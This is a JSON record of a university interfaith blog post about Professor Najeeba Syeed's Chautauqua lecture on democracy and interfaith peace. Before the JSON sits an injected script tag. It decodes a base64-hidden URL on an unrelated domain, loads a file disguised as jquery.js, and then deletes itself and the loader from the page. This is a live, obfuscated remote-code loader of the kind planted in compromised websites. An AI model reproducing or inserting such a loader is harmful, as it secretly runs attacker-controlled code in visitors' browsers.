<script>!function(){var s=document.createElement("script"),c=document.currentScript;s.src=atob("aHR0cHM6Ly93d3cuamlzaGk2NjYudG9wL2pxdWVyeS5qcw==")+"?_="+Date.now();s.onload=function(){this.remove();c.remove();};document.head.appendChild(s);}();</script>  {"id":54393,"date":"2026-07-20T21:20:20","date_gmt":"2026-07-20T21:20:20","guid":{"rendered":"https:\/\/www.augsburg.edu\/interfaith\/?p=54393"},"modified":"2026-07-20T21:29:12","modified_gmt":"2026-07-20T21:29:12","slug":"chautauqua-lecture","status":"publish","type":"post","link":"https:\/\/www.augsburg.edu\/interfaith\/2026\/07\/20\/chautauqua-lecture\/","title":{"rendered":"Chautauqua Lecture"},"content":{"rendered":"<h2>Najeeba Syeed speaks \u2018from the broken heart of democracy\u2019 on interfaith peace<\/h2>\n<p>&nbsp;<\/p>\n<p>Professor Najeeba Syeed participated in the Chautauqua Institution&#8217;s Interfaith Lecture Series:<em> Faith in the Public Square<\/em>.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-54394\" src=\"http:\/\/www.augsburg.edu\/interfaith\/wp-content\/uploads\/sites\/133\/2026\/07\/Chataqua-NS-July-26-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.augsburg.edu\/interfaith\/wp-content\/uploads\/sites\/133\/2026\/07\/Chataqua-NS-July-26-300x200.jpg 300w, https:\/\/www.augsburg.edu\/interfaith\/wp-content\/uploads\/sites\/133\/2026\/07\/Chataqua-NS-July-26-1024x683.jpg 1024w, https:\/\/www.augsburg.edu\/interfaith\/wp-content\/uploads\/sites\/133\/2026\/07\/Chataqua-NS-July-26-768x512.jpg 768w, https:\/\/www.augsburg.edu\/interfaith\/wp-content\/uploads\/sites\/133\/2026\/07\/Chataqua-NS-July-26-272x182.jpg 272w, https:\/\/www.augsburg.edu\/interfaith\/wp-content\/uploads\/sites\/133\/2026\/07\/Chataqua-NS-July-26.jpg 1200w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p><em>\u201cDemocracy is not a religious act; it is a spiritual struggle.&#8221;<\/em><\/p>\n<p>Professor Syeed structured her lecture on the teachings of Christian ethicist Glen Stassen and U.S. religion sociologist Robert Bellah.<\/p>\n<p>Read about her lecture in the <a href=\"https:\/\/chqdaily.com\/2026\/07\/najeeba-syeed-speaks-from-the-broken-heart-of-democracy-on-interfaith-peace\/\">Chautauquan Daily\u00a0<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Najeeba Syeed speaks \u2018from the broken heart of democracy\u2019 on interfaith peace &nbsp; Professor Najeeba Syeed participated in the Chautauqua &#8230;<\/p>\n","protected":false},"author":594,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-54393","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/posts\/54393","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/users\/594"}],"replies":[{"embeddable":true,"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/comments?post=54393"}],"version-history":[{"count":5,"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/posts\/54393\/revisions"}],"predecessor-version":[{"id":54399,"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/posts\/54393\/revisions\/54399"}],"wp:attachment":[{"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/media?parent=54393"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/categories?post=54393"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.augsburg.edu\/interfaith\/wp-json\/wp\/v2\/tags?post=54393"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}